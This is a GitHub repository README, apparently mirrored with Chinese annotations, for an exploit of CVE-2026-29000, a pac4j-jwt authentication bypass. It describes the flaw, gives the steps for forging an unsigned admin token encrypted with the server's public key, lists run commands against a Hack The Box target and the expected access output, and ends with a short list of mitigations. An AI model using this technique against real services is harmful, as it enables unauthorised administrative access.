FranzAlvis/Cve_2026_29000_exploit

GitHub: FranzAlvis/Cve_2026_29000_exploit

针对 pac4j-jwt 库 PlainJWT-in-JWE 认证绕过漏洞的自动化利用脚本,可从暴露的 JWKS 端点获取公钥并构造恶意 JWE Token 实现未授权访问。

Stars: 0 | Forks: 0

# CVE-2026-29000 — pac4j-jwt JWE 中的 PlainJWT 认证绕过 ``` ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ CVE-2026-29000 pac4j-jwt PlainJWT-in-JWE Auth Bypass | CVSS 10.0 Hurtcore - Fr4nZ!!! ``` | Campo | Detalle | |---|---| | **CVE** | CVE-2026-29000 | | **CVSS** | 10.0 — Critical | | **Librería afectada** | `org.pac4j:pac4j-jwt` | | **Versiones vulnerables** | < 4.5.9 / < 5.7.9 / **< 6.3.3** | | **Versión objetivo (HTB)** | 6.0.3 (vulnerable) | | **Tipo** | Authentication Bypass | | **Acceso requerido** | Ninguno (unauthenticated) | ## 这个 CVE 是什么? `pac4j-jwt` 是一个广泛使用的 Java 库,用于通过 JWT 进行认证。在其 `JwtAuthenticator` 组件中,当同时配置了 **JWE** (JSON Web Encryption) 和 **JWS** (JSON Web Signature) 时,存在一个关键的逻辑缺陷: 服务器期望在 JWE 中接收到一个 **已签名** 的 JWT (JWS),但 **并不验证它是否真的被签名了**。这允许攻击者: 1. 从 `/api/auth/jwks` 端点获取 **RSA 公钥** (根据定义它是公开的) 2. 构建一个 **PlainJWT** (无签名 JWT, `alg=none`),包含任何所需的 claim (`ROLE_ADMIN` 等) 3. 使用 `RSA-OAEP-256 + A128GCM` 和 RSA 公钥 **加密** 该 PlainJWT 4. 将生成的 JWE 作为 Bearer token 发送 5. 服务器将其解密,**不验证** 内部 JWT 的签名,并将其接受为有效 ### 攻击流程 ``` Atacante Servidor │ │ │── GET /api/auth/jwks ──────────────►│ │◄─ { RSA public key } ───────────────│ │ │ │ Construye PlainJWT: │ │ { sub: admin, role: ROLE_ADMIN } │ │ alg=none (sin firma) │ │ │ │ Cifra con RSA pública: │ │ JWE(RSA-OAEP-256 + A128GCM) │ │ │ │── GET /api/users │ │ Authorization: Bearer ─────►│ │ descifra JWE│ │ obtiene PlainJWT │ │ ❌ NO verifica firma │ │ acepta claims │ │◄─ HTTP 200 OK + datos de admin ─────│ ``` ## 前期侦察 (目标揭示的信息) ### 服务器 HTTP 头 ``` X-Powered-By: pac4j-jwt/6.0.3 ← versión vulnerable! Server: Jetty ``` ### `/api/auth/jwks` 暴露的 JWKS ``` { "keys": [{ "kty": "RSA", "e": "AQAB", "kid": "enc-key-1", "n": "lTh54vtBS1NAWrxAFU1NEZdr..." }] } ``` ### `/app.js` 中的信息 (客户端 JavaScript) ``` Tokens: JWE con RSA-OAEP-256 + A128GCM Inner JWT firmado con RS256 Issuer: "principal-platform" Roles: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER Endpoints sensibles: /api/users, /api/settings ``` ## 环境要求 ``` pip install jwcrypto requests ``` ## Exploit 使用方法 ### 语法 ``` python3 cve_2026_29000_exploit.py --url http://: [opciones] ``` ### 选项 | Flag | Descripción | Default | |---|---|---| | `--url` | 目标的基础 URL | *(requerido)* | | `--sub` | Claim `sub` (要冒充的用户) | `admin` | | `--role` | 要伪造的角色 | `ROLE_ADMIN` | | `--jwks-live` | 从服务器实时获取 RSA 密钥 | *(hardcodeada)* | | `--proxy` | 通过 Burp Suite 路由流量 | — | | `--no-verify` | 禁用 SSL 验证 | — | ### 示例 **基本 Exploit:** ``` python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 ``` **使用从 JWKS 实时获取的 RSA 密钥:** ``` python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --jwks-live ``` **冒充特定用户:** ``` python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --sub john --role ROLE_ADMIN ``` **在 Burp Suite 中查看流量:** ``` python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 \ --proxy http://127.0.0.1:8080 --no-verify ``` ## 脚本逐步执行的操作 ### 阶段 1 — JWKS 验证 检查 `/api/auth/jwks` 端点是否可访问,并提取服务器的 RSA 公钥。 ### 阶段 2 — 伪造恶意 Token 1. 从 JWKS 加载 RSA 公钥 2. 构建一个包含以下 claims 的 **PlainJWT** (`alg=none`): { "sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": , "exp": } 3. 使用 `RSA-OAEP-256 + A128GCM` 将 PlainJWT 加密为 **JWE** ### 阶段 3 — 利用 使用 JWE 作为 Bearer token 并攻击以下端点: - `GET /api/dashboard` - `GET /api/users` - `GET /api/settings` ## 预期输出 ``` [+] Dashboard → HTTP 200 OK — ¡Acceso concedido! [+] Users → HTTP 200 OK — ¡Acceso concedido! [+] Settings → HTTP 200 OK — ¡Acceso concedido! ``` ## 缓解措施 (针对防御者) - 将 `pac4j-jwt` 更新至 **6.3.3+** (6.x 分支)、**5.7.9+** 或 **4.5.9+** - 显式拒绝内部 JWT 中 `alg=none` 的 token - 如果密钥也用于 token 加密,请勿公开暴露 JWKS ## 仓库结构 ``` CVE-2026-29000/ ├── README.md ← Este archivo └── cve_2026_29000_exploit.py ← Script de explotación ``` ## 参考 - [NVD — CVE-2026-29000](https://nvd.nist.gov/vuln/detail/CVE-2026-29000) - [GitHub Advisory — pac4j](https://github.com/pac4j/pac4j/security/advisories) - [Snyk — pac4j-jwt vulnerability](https://security.snyk.io) - [RFC 7516 — JSON Web Encryption (JWE)](https://www.rfc-editor.org/rfc/rfc7516) - [RFC 7519 — JSON Web Token (JWT) — PlainJWT](https://www.rfc-editor.org/rfc/rfc7519) **作者:** Hurtcore - Fr4nZ!!!
标签:CISA项目, CVE-2026-29000, CVSS 10.0, GHAS, Hurtcore, Java安全, Java库, JWE, JWS, JWT漏洞, pac4j-jwt, Web安全, 严重漏洞, 安全取证, 签名验证缺失, 蓝队分析, 认证绕过, 访问控制失效, 身份验证 bypass, 逆向工具, 逻辑漏洞